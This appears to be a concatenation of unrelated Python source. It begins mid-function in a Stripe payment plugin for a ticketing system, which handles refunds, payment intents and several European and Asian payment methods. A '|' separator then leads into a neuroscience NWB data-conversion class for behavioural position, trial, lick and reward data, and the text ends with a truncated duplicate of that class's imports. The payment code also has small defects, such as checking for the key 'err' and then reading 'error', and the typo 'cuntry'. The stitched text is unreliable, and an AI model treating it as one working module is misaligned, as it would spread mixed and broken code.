OrderPayment.objects.select_for_update().get(pk=refund.payment.pk)
if not payment_info:
raise PaymentException(_('No payment information found.'))
try:
if payment_info['id'].startswith('pi_'):
chargeid = payment_info['charges']['data'][0]['id']
else:
chargeid = payment_info['id']
ch = stripe.Charge.retrieve(chargeid, **self.api_kwargs)
kwargs = {}
if self.settings.connect_destination:
kwargs['reverse_transfer'] = True
r = ch.refunds.create(
amount=self._get_amount(refund),
**kwargs,
)
ch.refresh()
except (stripe.error.InvalidRequestError, stripe.error.AuthenticationError, stripe.error.APIConnectionError) \
as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
refund.info = err
refund.state = OrderRefund.REFUND_STATE_FAILED
refund.execution_date = now()
refund.save()
refund.order.log_action('pretix.event.order.refund.failed', {
'local_id': refund.local_id,
'provider': refund.provider,
'error': str(e)
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and contact '
'support if the problem persists.'))
except stripe.error.StripeError as err:
logger.error('Stripe error: %s' % str(err))
raise PaymentException(_('Stripe returned an error'))
else:
refund.info = str(r)
if r.status in ('succeeded', 'pending'):
refund.done()
elif r.status in ('failed', 'canceled'):
refund.state = OrderRefund.REFUND_STATE_FAILED
refund.execution_date = now()
refund.save()
def execute_payment(self, request: HttpRequest, payment: OrderPayment):
self._init_api()
try:
source = self._create_source(request, payment)
except stripe.error.IdempotencyError as e:
# Same thing happening twice – we don't want to record a failure, as that might prevent the
# other thread from succeeding.
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'err' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
ReferencedStripeObject.objects.get_or_create(
reference=source.id,
defaults={'order': payment.order, 'payment': payment}
)
payment.info = str(source)
payment.state = OrderPayment.PAYMENT_STATE_PENDING
payment.save()
request.session['payment_stripe_order_secret'] = payment.order.secret
return self.redirect(request, source.redirect.url)
def redirect(self, request, url):
if request.session.get('iframe_session', False):
signer = signing.Signer(salt='safe-redirect')
return (
build_absolute_uri(request.event, 'plugins:stripe:redirect') + '?url=' +
urllib.parse.quote(signer.sign(url))
)
else:
return str(url)
def shred_payment_info(self, obj: OrderPayment):
if not obj.info:
return
d = json.loads(obj.info)
new = {}
if d.get('source'):
new['source'] = {
'id': d['source'].get('id'),
'type': d['source'].get('type'),
'brand': d['source'].get('brand'),
'last4': d['source'].get('last4'),
'bank_name': d['source'].get('bank_name'),
'bank': d['source'].get('bank'),
'bic': d['source'].get('bic'),
'card': {
'brand': d['source'].get('card', {}).get('brand'),
'country': d['source'].get('card', {}).get('cuntry'),
'last4': d['source'].get('card', {}).get('last4'),
}
}
if 'amount' in d:
new['amount'] = d['amount']
if 'currency' in d:
new['currency'] = d['currency']
if 'status' in d:
new['status'] = d['status']
if 'id' in d:
new['id'] = d['id']
new['_shredded'] = True
obj.info = json.dumps(new)
obj.save(update_fields=['info'])
for le in obj.order.all_logentries().filter(
action_type="pretix.plugins.stripe.event"
).exclude(data="", shredded=True):
d = le.parsed_data
if 'data' in d:
for k, v in list(d['data']['object'].items()):
if v not in ('reason', 'status', 'failure_message', 'object', 'id'):
d['data']['object'][k] = '█'
le.data = json.dumps(d)
le.shredded = True
le.save(update_fields=['data', 'shredded'])
class StripeCC(StripeMethod):
identifier = 'stripe'
verbose_name = _('Credit card via Stripe')
public_name = _('Credit card')
method = 'cc'
def payment_form_render(self, request, total) -> str:
account = get_stripe_account_key(self)
if not RegisteredApplePayDomain.objects.filter(account=account, domain=request.host).exists():
stripe_verify_domain.apply_async(args=(self.event.pk, request.host))
template = get_template('pretixplugins/stripe/checkout_payment_form_cc.html')
ctx = {
'request': request,
'event': self.event,
'total': self._decimal_to_int(total),
'settings': self.settings,
'is_moto': self.is_moto(request)
}
return template.render(ctx)
def payment_is_valid_session(self, request):
return request.session.get('payment_stripe_payment_method_id', '') != ''
def checkout_prepare(self, request, cart):
payment_method_id = request.POST.get('stripe_payment_method_id', '')
request.session['payment_stripe_payment_method_id'] = payment_method_id
request.session['payment_stripe_brand'] = request.POST.get('stripe_card_brand', '')
request.session['payment_stripe_last4'] = request.POST.get('stripe_card_last4', '')
if payment_method_id == '':
messages.warning(request, _('You may need to enable JavaScript for Stripe payments.'))
return False
return True
def execute_payment(self, request: HttpRequest, payment: OrderPayment):
try:
return self._handle_payment_intent(request, payment)
finally:
del request.session['payment_stripe_payment_method_id']
def is_moto(self, request, payment=None) -> bool:
# We don't have a payment yet when checking if we should display the MOTO-flag
# However, before we execute the payment, we absolutely have to check if the request-SalesChannel as well as the
# order are tagged as a reseller-transaction. Else, a user with a valid reseller-session might be able to place
# a MOTO transaction trough the WebShop.
moto = self.settings.get('reseller_moto', False, as_type=bool) and \
request.sales_channel.identifier == 'resellers'
if payment:
return moto and payment.order.sales_channel == 'resellers'
return moto
def _handle_payment_intent(self, request, payment, intent=None):
self._init_api()
try:
if self.payment_is_valid_session(request):
params = {}
params.update(self._connect_kwargs(payment))
params.update(self.api_kwargs)
if self.is_moto(request, payment):
params.update({
'payment_method_options': {
'card': {
'moto': True
}
}
})
intent = stripe.PaymentIntent.create(
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
payment_method=request.session['payment_stripe_payment_method_id'],
confirmation_method='manual',
confirm=True,
description='{event}-{code}'.format(
event=self.event.slug.upper(),
code=payment.order.code
),
statement_descriptor=self.statement_descriptor(payment),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
# TODO: Is this sufficient?
idempotency_key=str(self.event.id) + payment.order.code + request.session['payment_stripe_payment_method_id'],
return_url=build_absolute_uri(self.event, 'plugins:stripe:sca.return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
}),
**params
)
else:
payment_info = json.loads(payment.info)
if 'id' in payment_info:
if not intent:
intent = stripe.PaymentIntent.retrieve(
payment_info['id'],
**self.api_kwargs
)
else:
return
except stripe.error.CardError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
logger.info('Stripe card error: %s' % str(err))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('Stripe reported an error with your card: %s') % err['message'])
except stripe.error.IdempotencyError as e:
# Same thing happening twice – we don't want to record a failure, as that might prevent the
# other thread from succeeding.
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
else:
ReferencedStripeObject.objects.get_or_create(
reference=intent.id,
defaults={'order': payment.order, 'payment': payment}
)
if intent.status == 'requires_action':
payment.info = str(intent)
payment.state = OrderPayment.PAYMENT_STATE_CREATED
payment.save()
return build_absolute_uri(self.event, 'plugins:stripe:sca', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
if intent.status == 'requires_confirmation':
payment.info = str(intent)
payment.state = OrderPayment.PAYMENT_STATE_CREATED
payment.save()
self._confirm_payment_intent(request, payment)
elif intent.status == 'succeeded' and intent.charges.data[-1].paid:
try:
payment.info = str(intent)
payment.confirm()
except Quota.QuotaExceededException as e:
raise PaymentException(str(e))
except SendMailException:
raise PaymentException(_('There was an error sending the confirmation mail.'))
elif intent.status == 'processing':
if request:
messages.warning(request, _('Your payment is pending completion. We will inform you as soon as the '
'payment completed.'))
payment.info = str(intent)
payment.state = OrderPayment.PAYMENT_STATE_PENDING
payment.save()
return
elif intent.status == 'requires_payment_method':
if request:
messages.warning(request, _('Your payment failed. Please try again.'))
payment.fail(info=str(intent))
return
else:
logger.info('Charge failed: %s' % str(intent))
payment.fail(info=str(intent))
raise PaymentException(_('Stripe reported an error: %s') % intent.last_payment_error.message)
def _confirm_payment_intent(self, request, payment):
self._init_api()
try:
payment_info = json.loads(payment.info)
intent = stripe.PaymentIntent.confirm(
payment_info['id'],
return_url=build_absolute_uri(self.event, 'plugins:stripe:sca.return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
}),
**self.api_kwargs
)
payment.info = str(intent)
payment.save()
self._handle_payment_intent(request, payment)
except stripe.error.CardError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
logger.info('Stripe card error: %s' % str(err))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('Stripe reported an error with your card: %s') % err['message'])
except stripe.error.InvalidRequestError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
if "charges" in pi:
card = pi["charges"]["data"][0]["payment_method_details"]["card"]
else:
card = pi["source"]["card"]
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
return f'{self.public_name}: ' \
f'{card.get("brand", "").title()} ' \
f'************{card.get("last4", "****")}, ' \
f'{_("expires {month}/{year}").format(month=card.get("exp_month"), year=card.get("exp_year"))}'
class StripeGiropay(StripeMethod):
identifier = 'stripe_giropay'
verbose_name = _('giropay via Stripe')
public_name = _('giropay')
method = 'giropay'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('account', forms.CharField(label=_('Account holder'))),
])
def _create_source(self, request, payment):
try:
source = stripe.Source.create(
type='giropay',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'name': request.session.get('payment_stripe_giropay_account') or gettext('unknown name')
},
statement_descriptor=self.statement_descriptor(payment, 35),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
finally:
if 'payment_stripe_giropay_account' in request.session:
del request.session['payment_stripe_giropay_account']
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_giropay_account', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_giropay_account'] = form.cleaned_data['account']
return True
return False
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["giropay"]["bank_name"])
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeIdeal(StripeMethod):
identifier = 'stripe_ideal'
verbose_name = _('iDEAL via Stripe')
public_name = _('iDEAL')
method = 'ideal'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='ideal',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
statement_descriptor=self.statement_descriptor(payment),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["ideal"]["bank"])
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeAlipay(StripeMethod):
identifier = 'stripe_alipay'
verbose_name = _('Alipay via Stripe')
public_name = _('Alipay')
method = 'alipay'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='alipay',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
class StripeBancontact(StripeMethod):
identifier = 'stripe_bancontact'
verbose_name = _('Bancontact via Stripe')
public_name = _('Bancontact')
method = 'bancontact'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('account', forms.CharField(label=_('Account holder'), min_length=3)),
])
def _create_source(self, request, payment):
try:
source = stripe.Source.create(
type='bancontact',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'name': request.session.get('payment_stripe_bancontact_account') or gettext('unknown name')
},
statement_descriptor=self.statement_descriptor(payment, 35),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
finally:
if 'payment_stripe_bancontact_account' in request.session:
del request.session['payment_stripe_bancontact_account']
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_bancontact_account', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_bancontact_account'] = form.cleaned_data['account']
return True
return False
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["bancontact"]["bank_name"])
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeSofort(StripeMethod):
identifier = 'stripe_sofort'
verbose_name = _('SOFORT via Stripe')
public_name = _('SOFORT')
method = 'sofort'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('bank_country', forms.ChoiceField(label=_('Country of your bank'), choices=(
('de', _('Germany')),
('at', _('Austria')),
('be', _('Belgium')),
('nl', _('Netherlands')),
('es', _('Spain'))
))),
])
def _create_source(self, request, payment):
source = stripe.Source.create(
type='sofort',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
statement_descriptor=self.statement_descriptor(payment, 35),
sofort={
'country': request.session.get('payment_stripe_sofort_bank_country'),
},
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_sofort_bank_country', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_sofort_bank_country'] = form.cleaned_data['bank_country']
return True
return False
def payment_can_retry(self, payment):
return payment.state != OrderPayment.PAYMENT_STATE_PENDING and self._is_still_available(order=payment.order)
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account {iban} at {bank}').format(
iban=f'{pi["source"]["sofort"]["country"]}****{pi["source"]["sofort"]["iban_last4"]}',
bank=pi["source"]["sofort"]["bank_name"]
)
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeEPS(StripeMethod):
identifier = 'stripe_eps'
verbose_name = _('EPS via Stripe')
public_name = _('EPS')
method = 'eps'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('account', forms.CharField(label=_('Account holder'))),
])
def _create_source(self, request, payment):
try:
source = stripe.Source.create(
type='eps',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'name': request.session.get('payment_stripe_eps_account') or gettext('unknown name')
},
statement_descriptor=self.statement_descriptor(payment),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
finally:
if 'payment_stripe_eps_account' in request.session:
del request.session['payment_stripe_eps_account']
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_eps_account', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_eps_account'] = form.cleaned_data['account']
return True
return False
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["eps"]["bank"].replace('_', '').title())
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeMultibanco(StripeMethod):
identifier = 'stripe_multibanco'
verbose_name = _('Multibanco via Stripe')
public_name = _('Multibanco')
method = 'multibanco'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='multibanco',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'email': payment.order.email
},
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
class StripePrzelewy24(StripeMethod):
identifier = 'stripe_przelewy24'
verbose_name = _('Przelewy24 via Stripe')
public_name = _('Przelewy24')
method = 'przelewy24'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='p24',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'email': payment.order.email
},
statement_descriptor=self.statement_descriptor(payment, 35),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["p24"]["bank"].replace('_', '').title())
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeWeChatPay(StripeMethod):
identifier = 'stripe_wechatpay'
verbose_name = _('WeChat Pay via Stripe')
public_name = _('WeChat Pay')
method = 'wechatpay'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='wechat',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
statement_descriptor=self.statement_descriptor(payment, 32),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
def execute_payment(self, request: HttpRequest, payment: OrderPayment):
self._init_api()
try:
source = self._create_source(request, payment)
except stripe.error.IdempotencyError as e:
# Same thing happening twice – we don't want to record a failure, as that might prevent the
# other thread from succeeding.
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'err' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
ReferencedStripeObject.objects.get_or_create(
reference=source.id,
defaults={'order': payment.order, 'payment': payment}
)
payment.info = str(source)
payment.save()
return eventreverse(request.event, 'presale:event.order', kwargs={
'order': payment.order.code,
'secret': payment.order.secret
})
|
from pathlib import Path
from warnings import warn
import pandas as pd
import numpy as np
from pynwb import NWBFile, TimeSeries
from hdmf.backends.hdf5.h5_utils import H5DataIO
from ndx_events import Events
from pynwb.behavior import Position, SpatialSeries
from nwb_conversion_tools.basedatainterface import BaseDataInterface
from nwb_conversion_tools.utils.types import FolderPathType
from nwb_conversion_tools.tools.nwb_helpers import get_module
from spikeinterface.extractors import SpikeGLXRecordingExtractor
class Wen21EventsInterface(BaseDataInterface):
def __init__(self, session_path: FolderPathType):
super().__init__(session_path=session_path)
def calculate_behavioral_offset_with_nidq_channel(self, df_epochs: pd.DataFrame):
"""Calculates the offset in time between the timestamps in the behavioral files and the niqst files."""
session_path = Path(self.source_data["session_path"])
# Calculate shift
stream_id = "nidq"
nidq_file_name = f"{session_path.stem.replace("g0", "g0_t0")}.{stream_id}.bin"
nidq_file_path = session_path / nidq_file_name
offset_for_behavioral_time_stamps = 0
if nidq_file_path.is_file():
nidq_extractor = SpikeGLXRecordingExtractor(session_path, stream_id=stream_id)
channel = "nidq#XA2" # The channel that indicates change in epoch
recording_nidq = nidq_extractor
# Get time stamps of changes
epoch_change_trace = recording_nidq.get_traces(channel_ids=[channel]).ravel()
times = recording_nidq.get_times()
# Binarize
epoch_change_trace_bin = np.zeros(epoch_change_trace.shape, dtype=int)
epoch_change_trace_bin[epoch_change_trace > (np.max(epoch_change_trace) // 2)] = 1
epoch_start_idxs = np.where(np.diff(epoch_change_trace_bin) > 0)[0]
df_epochs["epoch_start_by_niqd"] = times[epoch_start_idxs][: df_epochs.shape[0]]
df_epochs["behavioral_to_signal_shift"] = df_epochs["start_time"] - df_epochs["epoch_start_by_niqd"]
offset_for_behavioral_time_stamps = df_epochs["behavioral_to_signal_shift"].mean()
else:
warn(f"nidq file not found for session with sessio_path {session_path}")
return offset_for_behavioral_time_stamps
def run_conversion(self, nwbfile: NWBFile, metadata: dict):
behavior_module = get_module(nwbfile, "behavior")
session_path = Path(self.source_data["session_path"])
track_label = next(_ for _ in session_path.name.split("_") if "john" in _)
no_name_epoch_name = "No name"
# Get positions and epochs to calculate beahavioral shift
file_path_list = list(session_path.glob("*position.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for position_file_path in file_path_list:
position_file_name = position_file_path.name
file_epoch_name = position_file_name.split("_position")[0].partition("train1")
if len(file_epoch_name) > 0:
file_epoch_name = file_epoch_name[-1]
df_data = pd.read_csv(
position_file_path,
sep="\t",
names=["position", "timestamps", "x1", "x2"],
)
df_data["epoch"] = file_epoch_name[1:] if file_epoch_name else no_name_epoch_name
df_data_list.append(df_data)
df_position_data = pd.concat(df_data_list)
df_position_data.sort_values(by="timestamps", inplace=True)
# Obtain epochs the from the position data (the one with the highest temporal resolution available)
df_epochs = df_position_data.groupby("epoch").agg({"timestamps": ["min", "max"]})["timestamps"]
df_epochs = df_epochs.sort_values(by="min").reset_index()
df_epochs = df_epochs.rename(columns={"min": "start_time", "max": "stop_time", "epoch": "epoch_name"})
# Calculate with the offset with the nidq channel
offset_for_behavioral_time_stamps = self.calculate_behavioral_offset_with_nidq_channel(df_epochs=df_epochs)
# Offset the position and epochs which have already been calculated
df_position_data["timestamps"] -= offset_for_behavioral_time_stamps
df_epochs["start_time"] -= offset_for_behavioral_time_stamps
df_epochs["stop_time"] -= offset_for_behavioral_time_stamps
# Add positions to the nwb_file
position_data = df_position_data.position.values.astype("float", copy=False)
position_timestamps = df_position_data.timestamps.values.astype("float", copy=False)
pos_obj = Position(name=f"position within the virtual reality wheel")
spatial_series_object = SpatialSeries(
name="position",
description="position within the virtual reality wheel",
data=H5DataIO(position_data, compression="gzip"),
reference_frame="unknown",
unit="m",
conversion=0.01,
timestamps=position_timestamps,
)
# Add epochs to the nwb-file
pos_obj.add_spatial_series(spatial_series_object)
behavior_module.add_data_interface(pos_obj)
df_epochs.drop(columns=["epoch_start_by_niqd", "behavioral_to_signal_shift"], inplace=True)
rows_as_dicts = df_epochs.T.to_dict().values()
nwbfile.add_epoch_column(name="epoch_name", description="the name of the epoch")
[nwbfile.add_epoch(**row_dict) for row_dict in rows_as_dicts]
# Add trial time intervals
file_path_list = list(session_path.glob("*trial_times.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for trial_file_path in file_path_list:
trial_file_name = trial_file_path.name
file_epoch_name = trial_file_name.split("_trial")[0].partition("train1")
if len(file_epoch_name) > 0:
file_epoch_name = file_epoch_name[-1]
df_data = pd.read_csv(
trial_file_path,
sep="\t",
names=["stop_time", "x1", "x2", "x3"],
)
df_data["epoch"] = file_epoch_name[1:] if file_epoch_name else no_name_epoch_name
df_data_list.append(df_data)
df_data_concatenated = pd.concat(df_data_list).reset_index()
df_data_concatenated.sort_values(by="stop_time", inplace=True)
df_data_concatenated["stop_time"] -= offset_for_behavioral_time_stamps
first_trial_time = nwbfile.epochs.start_time[:][1]
df_data_concatenated["start_time"] = df_data_concatenated.stop_time.shift(1).fillna(first_trial_time)
rows_as_dicts = df_data_concatenated[["start_time", "stop_time", "epoch"]].T.to_dict().values()
nwbfile.add_trial_column(name="epoch", description="epoch")
[nwbfile.add_trial(**row_dict) for row_dict in rows_as_dicts]
# Add lick events
file_path_list = list(session_path.glob("*licks.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for licks_file_path in file_path_list:
df_data = pd.read_csv(licks_file_path, sep="\t", names=["position", "time"])
df_data_list.append(df_data)
df_data_concatenated = pd.concat(df_data_list)
df_data_concatenated.sort_values(by="time", inplace=True)
df_data_concatenated["time"] -= offset_for_behavioral_time_stamps
lick_timestamps = df_data_concatenated.time.values.astype("float", copy=False)
lick_positions = df_data_concatenated.position.values.astype("float", copy=False)
position_on_lick_series = TimeSeries(
name="lick events",
description="lick events timestamps and their corresponding position",
data=lick_positions,
unit="m",
conversion=0.01,
timestamps=lick_timestamps,
)
behavior_module.add(position_on_lick_series)
# Add reward times
file_path_list = list(session_path.glob("*reward_times.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for reward_file_path in file_path_list:
df_data = pd.read_csv(reward_file_path, sep="\t", names=["reward_time_stamps", "x1"])
df_data_list.append(df_data)
df_data_concatenated = pd.concat(df_data_list)
df_data_concatenated.sort_values(by="reward_time_stamps", inplace=True)
df_data_concatenated["reward_time_stamps"] -= offset_for_behavioral_time_stamps
reward_timestamps = df_data_concatenated.reward_time_stamps.values.astype("float", copy=False)
events = Events(
name=f"reward_times",
description="timestamps for rewards",
timestamps=reward_timestamps,
)
behavior_module.add(events)
| from pathlib import Path
from warnings import warn
import pandas as pd
import numpy as np
from pynwb import NWBFile, TimeSeries
from hdmf.backends.hdf5.h5_utils import H5DataIO
from ndx_events import Events
from pynwb.behavior import Position, SpatialSeries
from nwb_conversion_tools.basedatainterface import BaseDataInterface
from nwb_conversion_tools.utils.types import FolderPathType
from nwb_conversion_tools.tools.nwb_helpers import get_module
